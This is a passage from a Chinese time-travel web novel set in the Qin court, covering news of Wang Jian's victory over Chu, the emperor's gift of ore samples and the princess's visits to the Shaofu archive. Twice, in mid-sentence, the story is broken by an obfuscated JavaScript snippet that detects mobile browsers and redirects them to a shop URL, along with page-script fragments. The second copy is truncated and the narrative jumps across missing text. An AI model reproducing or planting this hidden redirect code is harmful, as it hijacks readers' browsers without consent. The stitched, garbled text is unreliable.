她知道历史的结局,但亲身“参与”其中,感受着这种一触即发的等待,滋味全然不同。 三日后,一个阴沉的午后,雪霰子又开始零零星星地敲打窗棂。 明玉正对着一个难字发愁,忽听正殿方向传来一阵短暂、压抑的骚动,随即是长久的死一般的寂静。 她的心提到了嗓子眼。 是消息来了?是好是坏? 时间仿佛被拉长了,每一息都格外难熬。 不知过了多久,也许只有一刻钟,也许有半个时辰,一阵急促到近乎凌乱的马蹄声由远及近,直至宫门,戛然而止。 紧接着,是狂奔的脚步声和嘶哑、几乎变调的吼声,穿透风雪,炸响在寂静的宫殿之间: “捷报——!!大捷——!!王翦上将军大破楚军左翼,阵斩楚将三人,俘获无算——!!” 吼声一遍遍回荡,带着冲破一切的狂喜。 明玉手中的笔“啪嗒”一声掉在纸上,染黑了一大片,她猛地站起身,冲到窗边,推开一条缝。 冰冷的空气混着雪霰灌进来,她却浑然不觉。 只见宫道之上,一名信使浑身泥泞,甲胄歪斜,正被两名侍卫搀扶着,却仍挣扎着高举一份插着羽毛的、沾满泥雪的“新帛”文书,嘶声喊着,脸上分不清是雪水、汗水还是泪水。 更多的宫人、侍卫从各处涌出,呆呆地听着,脸上逐渐绽放出难以置信的狂喜。 “大捷!大捷了!” 欢呼声开始零星响起,随即迅速连成一片,如滚雷般掠过重重宫阙,压抑了数月的沉闷,在这一刻被彻底点燃、释放。 明玉趴在窗边,看着外面沸腾的人群,听着那震耳欲聋的欢呼,胸口被一股滚烫的热流堵着,眼眶阵阵发热。 赢了!第 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16937181|192892||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一场实实在在的胜利!虽然可能还不是决战,但意义重大!王翦老将军果然抓住了机会! 她下意识地看向正殿方向。厚重的殿门依然紧闭,听不到里面的声音,但她几乎能想象出,此刻那御座之上的人,会是怎样的神情。 必然是沉静的,甚至比平日更显威严,但那深潭般的眼底,定然有锐利的光芒一闪而过。 捷报如同最猛烈的春风,一夜之间吹散了咸阳上空的寒冬阴霾。 尽管大雪依旧,但每个人脸上都多了光彩,脚步都轻快了许多。 捷报的细节逐渐传开:王翦如何精准捕捉到楚军左翼因内部矛盾而产生的冒进,如何以精锐设伏,如何利用地形一举击溃,如何扩大战果……“新帛”传递的及时情报与清晰指令,在此战中被王翦特意提及,赞其“轻便迅捷,于瞬息万变之军情大有裨益”。 这无疑是对“新帛”价值最有力的肯定,朝堂之上,再无人对此物的试用有丝毫异议。 少府“尚方”的匠坊,接到了加大产能、同时继续改进质量的密令。 虽然“造纸”本身仍是机密,但“大王得一天授轻帛,利于军政”的消息,已在小范围高层中悄然流传,为嬴政更添了几分高深莫测的威严。 明玉的生活似乎恢复如常,但有些变化悄然发生,她的膳食里多了几样罕见的南方果品,据说是新近缴获的“楚贡”。 扶苏来探望她时,眉宇间的沉郁之色散去了许多,甚至难得地与她多说了几句前线传来的趣闻,比如楚军某种新奇但华而不实的战车如何在泥泞中寸步难行。 王离再次溜进宫时,兴奋地比划着军中是如何传颂王翦的用兵如神,并偷偷告诉明玉,他爹说,此战之后,灭楚大势已定,最迟明年,必能竟全功。 腊月二十三,祭灶的前一日,嬴政在章台宫设了小宴,只召了扶苏与明玉,菜式不算奢华,但很精致,甚至有一道楚地风味的鱼羹。 席间,嬴政并未多言,只略问了二人近日功课起居。 直到宴毕,宦者令奉上一个锦囊。 嬴政将锦囊推向明玉。 明玉疑惑地接过,入手颇沉。打开,里面并非金银珠玉,而是几块大小不一、形状各异的深色石头,有的黝黑如漆,有的暗红似血,还有的带着金属光泽,触手冰凉坚实。 “此乃楚地所出矿样。”嬴政的声音平静无波,“有铁、有铜、有丹砂。大军所至,勘查所得,你既对‘新帛’制作有心,或可看看,此等矿藏,于国于民,尚有他用。” 明玉怔住了,看着手中沉甸甸的石头,又抬头看向御座上目光深远的父王,一时心潮起伏。 这看似随意的“小礼物”,背后含义却不简单,这不仅仅是赏赐,更像是一种无声的告知和一种更隐晦的期许——你推动的“纸”,已用于征伐,获取了新的土地与资源。 这些资源,或许又能催生新的变化,你的“奇思”,或许不止于纸。 “儿臣……谢父王。”她握紧冰凉的矿石,低声说,心里某个地方,仿佛也被这沉甸甸的信任轻轻撞了一下。 扶苏安静地坐在一旁,看着妹妹肃然的小脸和手中那几块不起眼的石头,眼中掠过一丝了然与温和的笑意。 雪夜,宫灯次第亮起,将雪地映成暖黄色。 12.第 12 章 腊月的最后几天,咸阳城洋溢在一片克制的欢庆气氛中。 前线大捷的消息如同最好的年礼,驱散了经年的紧张与忧思。 市井街巷,人们谈论着王翦将军的用兵如神,憧憬着天下一统后的太平年景。 官府并未大肆庆贺,但上至公卿,下至庶民,眉宇间都松快了几分,购置年货、洒扫庭除的脚步也格外轻快。 章台宫内,这份欢庆则显得更为内敛而厚重。 赏赐依制颁下,有功将士的名单与封赏的预案在少府,与丞相府间飞快流转。 嬴政案头的军报依旧频繁,但内容已从激烈的战事推演,转向更细致的战果统计、占领区安抚、以及对于残余楚军动向的研判。 王翦用兵老辣,初战告捷后并未冒进,而是稳扎稳打,巩固战果,清扫周边,同时对楚都寿春方向保持高压威慑。 战报中再次提及“新帛”于军情传递、图文并茂呈现战场态势之便,字里行间,对此物的倚重与满意显而易见。 这一日,天光放晴,积雪反射着明晃晃的日光。 明玉用罢朝食,正想着是继续临帖,还是去后苑看看那些矿石——它们被她收在一只小漆盒里,偶尔拿出来对着日光看看,琢磨其中可能含有的金属成分,却又一筹莫展。 宦者令却来传话,说大王在偏殿暖阁,召她和长公子一同过去。 偏殿暖阁比正殿小了许多,地龙烧得足,一进去便是融融暖意,驱散了身上的寒气。 嬴政已端坐于上首的矮榻上,未着朝服,只一身玄色深衣,玉簪束发,少了几分朝堂上的凛冽,多了些居家的随意。 扶苏已侍坐在下首一侧,见明玉进来,对她微微颔首,目光温和。 明玉规规矩矩行礼,在扶苏对面的位置坐下。宫人悄无声息地奉上热腾腾的杏仁茶和几样精致的茶点。 “年节将至,宫中事冗,你二人近日课业,可还顺遂?”嬴政端起玉杯,语气平淡如常,仿佛只是一次寻常的家庭问话。 扶苏恭声答道:“回父王,儿臣近日协助整理战事文书,于粮秣调度、军情传递之事,颇有所得,课业亦未敢懈怠。” 他顿了顿,又道,“少府来报,‘新帛’匠坊,经此次军前试用反馈,已着手改进三处工艺,以期开春后,质量产量皆能再进一步。” 嬴政微微颔首,目光转向明玉。 明玉忙放下杯子,坐直身体:“回父王,儿臣近日仍在习《仓颉篇》,已近完结,字迹……稍有进益。” 她犹豫了一下,还是补充道,“父王日前所赐楚地矿样,儿臣时常观看,只是……见识浅陋,不明其具体用途,唯有感叹天地造化,矿产丰饶。” 这是大实话,她认得那是矿石,但具体成分、品相、如何冶炼,完全抓瞎。 “能观而有所思,便好。”嬴政并未深究,只是淡淡道,“天下万物,各有所用,亦需各得其法,方能为人所用。譬如那‘新帛’,若无蒸煮、捶捣、抄滤、压干诸般法度,树皮麻絮,终是朽烂之物。” 明玉心中一动,政爹果然话里有话,这是在借物说理,告诉她知其然还要知其所以然,有想法还需有方法?她恭敬应道:“儿臣谨记父王教诲。” 嬴政不再多言,示意二人用茶点。 暖阁内一时安静,只闻茶水注入杯盏的细微声响,和远处隐约传来的、宫人清扫积雪的沙沙声。 片刻,嬴政放下杯子,似乎漫不经心地提起:“王翦军中,有将士以‘新帛’绘制楚地山川简易图形,辅以标记,于夜间突袭辨识路径,颇收奇效,此物轻便,不反光,不易发出声响,倒是意外之得。” 扶苏眼中露出笑意:“此确非儿臣与匠人最初设想之用。可见物之利,常超乎制者之预想。” 明玉也听得有趣,原来纸最早在军事上的应用之一,竟是做“夜袭地图”?这倒是很符合实战需求。她忍不住想象秦军精锐借着夜色,摸出怀中轻薄的纸图,对照依稀星光辨认地形,悄然扑向敌营的场景。 “又有随军书吏,”嬴政继续道,语气依旧平淡,“以‘新帛’记录俘虏口供、缴获清单,比之竹简,便携速记,不易错乱,亦便于汇总呈报。” 扶苏点头:“此乃其本分之用,能于军旅繁琐中见其实效,方显其值。” 明玉安静地听着,心里却渐渐明白,这看似随意的闲谈,实则是嬴政在以一种特殊的方式,向她、也向扶苏“通报”“新帛”在真实战场环境下的应用情况,与价值反馈。 他没有直接褒奖,但这些具体的、实实在在的应用案例,比任何夸赞都更有分量。这或许就是帝王对一项由子女发起、并初步成功的“创新”的认可方式,看其实际效用,并告知推动者。 “开春后,”嬴政话锋一转,不再提“新帛”,而是看向了扶苏,“寡人欲巡陇西、北地二郡,视察边备,安抚新附,你随行。” 扶苏神色一肃,立刻躬身:“儿臣遵命!定当用心学习,不负父王期许。” 随王巡边,这是极大的信任与历练,意味着他正式进入更核心的军政实务。 嬴政目光又掠过明玉,略一沉吟:“宫中新岁祭祀、宴飨诸事,自有旧例。你年幼,不必劳烦,可安心读书,若有暇……” 他停顿了一下,似乎在想如何措辞,“可多去少府书库,看看各地物产、匠作图谱。开阔眼界,亦是学问。” 去少府书库?看物产匠作图谱?明玉先是一愣,随即心头剧震。 少府书库,那里存放的可是帝国最核心的物产、地理、户籍、以及各种手工技艺的原始资料与图谱! 虽然她这个公主能看的肯定只是非机密部分,但这权限的开放,无异于为她打开了一扇窥探这个时代真实技术水平和资源分布的窗口,结合他之前赐予的矿石,这用意再明显不过。 他在引导她,将那种“奇思”与具体的、现实的技术与资源联系起来,或许,也在期待她从中发现或“联想”到什么。 “儿臣……谢父王!定当用心阅览!”明玉强压住激动,声音却仍有些发颤。 嬴政几不可察地点了下头,不再多言。 从暖阁出来,冬日明亮的阳光有些刺眼。扶苏与明玉并肩走在清扫过的宫道上,积雪在脚下发出咯吱的轻响。 “父王对九妹期望甚深。”扶苏温言道,带着兄长对幼妹的关怀与一丝不易察觉的感叹,“少府书库典藏浩繁,九妹可循序而进,若有不明,可来问我。” “嗯,谢谢长兄。”明玉点头,心里还在消化着刚才的信息,期望甚深?她有点忐忑,又有点隐约的兴奋。 这期望,是福是祸?但至少,她似乎得到了一张宝贵的“图书馆通行证”,可以更系统地了解这个时代了。 “开春父王巡边,长兄要随行,定要多加小心,保重身体。”明玉想起这个,又有些担心。边地苦寒,巡幸路途劳顿,且未必全然太平。 “放心。”扶苏微笑,笑容在阳光下显得清朗温润,“为国效力,分所应当,你在宫中,亦要好生照看自己,王离那小子,若再溜进来烦你,不必客气。” 提到王离,明玉也笑了。那家伙自从军中回来一次后,又被拘着操练去了,说是他爹发了狠,要趁战事间隙把他摔打成个样子。 腊月三十,岁除。 章台宫举行了隆重而肃穆的祭祀典礼,告慰先祖,祈福来年。 明玉作为公主,亦需参与部分仪程,穿着繁复的礼服,在寒风中站立良久,只觉得手足冰冷,但心中却有种奇异、融入历史洪流的感觉。 晚间宫中赐宴,她和扶苏以及其他几位年长的公子公主同席,气氛拘谨而客气。 她安静地坐着,看着烛火摇曳下那些陌生又熟悉的历史面孔,听着丝竹雅乐,心里却惦记着暖阁里那场简短的谈话,和少府书库里那些未曾谋面的图谱。 新年元日,大朝贺。 咸阳宫前殿广场旌旗招展,百官朝服肃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“洞庭,滨湖有砂,可炼锡……” “巴郡,有穴出‘石涅’(煤),可燃……” “河东,安邑盐池,出‘苦盐’(含镁钾盐?),亦出‘硝’……” “陇西,有金、锡……” 有些矿产她知道,有些则连名称都陌生。 但仅仅是这些冰冷的记录,已在她面前展开了一幅远比后世教科书生动具体,公元前三世纪的中国资源分布图。 她仿佛能看到矿山中劳作的刑徒和匠人,看到运输矿产的艰难道路,看到各地官府如何将这些资源登记造册,纳入国家掌控的庞大计划体系。 她又翻看了几卷关于农具、兵器、车具制作的图谱,图谱绘制在较大的木牍或帛书上,图形简洁,配有文字说明尺寸、用料、工序要点。 虽然不如后世工程图纸精确,但已能清晰表达结构。 明玉仔细看着一幅“耧车”的分解图,试图理解其播种原理,又与记忆中模糊的影像印证,她还看到一种利用杠杆原理提水的“桔槔”图,结构简单,却充满智慧。 时间在静谧的翻阅中悄然流逝。 直到陈内侍轻声提醒时辰不早,明玉才揉了揉有些酸涩的眼睛,小心地将简册卷好放回原处。 走出书库,夕阳的余晖给宫墙殿宇镀上了一层温暖的金边,明玉深吸了一口冰冷的空气,只觉得胸中无比充实。 虽然今天看到的只是冰山一角,但一个更真实、更立体、也更复杂的秦帝国,正透过这些沉默的简册,向她缓缓揭开面纱。 她知道,政爹给她这把“钥匙”,绝不是让她来猎奇或消遣的。 那些矿石,那些图谱,那些关于“新帛”在军中实用之效的闲谈,还有这浩如烟海的资料库……一条若有若无的线,似乎正在她面前隐约浮现。 她回头看了一眼那静谧的书库院落,那里埋藏的,不仅是过去的记录,或许,也隐藏着通向未来的某些密码。